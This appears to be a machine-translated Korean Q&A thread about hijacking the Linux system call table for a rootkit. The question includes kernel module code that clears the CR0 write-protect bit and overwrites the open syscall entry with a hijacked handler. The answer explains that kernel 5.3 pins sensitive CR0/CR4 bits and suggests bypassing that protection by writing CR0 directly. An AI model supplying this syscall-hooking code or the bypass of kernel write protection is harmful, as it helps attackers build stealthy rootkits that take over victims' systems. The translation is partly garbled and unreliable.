커널 버전 2.X부터 4.X까지는 16번째 버전을 쉽게 무시할 수 있습니다.CR0커널 모듈의 비트:
write_cr0(read_cr0() & (~ 0x10000));
이렇게 하면 시스템 호출 테이블에 대한 쓰기 금지를 제거할 수 있습니다. 그러나 이제 버전 5.X에서는 이것이 CR0 비트를 재정의하지 않는 것 같습니다. 위의 트릭을 사용한 후 시스템 호출 테이블을 하이재킹하려고 하면,
sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");
write_cr0(read_cr0() & (~0x10000));
iamhere("Saving the old call..");
old_open = sys_call_table[__NR_open];
iamhere("Setting the new one..");
sys_call_table[__NR_open] = hijacked_open;
write_cr0(read_cr0() | 0x10000);
0x0003 권한 위반 오류가 발생합니다.
그래서 제 질문은: 새로운 커널 모드 보호 기능이 적용되어 있습니까? 그렇다면 루트킷의 경우 이를 우회할 수 있는 방법이 있습니까?
답변1
예,버전 5.3부터 CR0 및 CR4의 민감한 비트가 수정되었습니다., 적어도통과하다 write_cr0
그리고 write_cr4
. write_cr0
호출이 WP 비트를 지우지 않기 때문에 코드가 실패합니다 .
관리 모드에 있는 경우 항상 CR0에 직접 쓸 수 있습니다. 이렇게 하면 고정이 방지되지만 고정 비트는 write_cr?
다음 호출에서 복원됩니다. (고정의 목적은 이러한 함수 호출과 관련된 공격을 방지하는 것입니다.)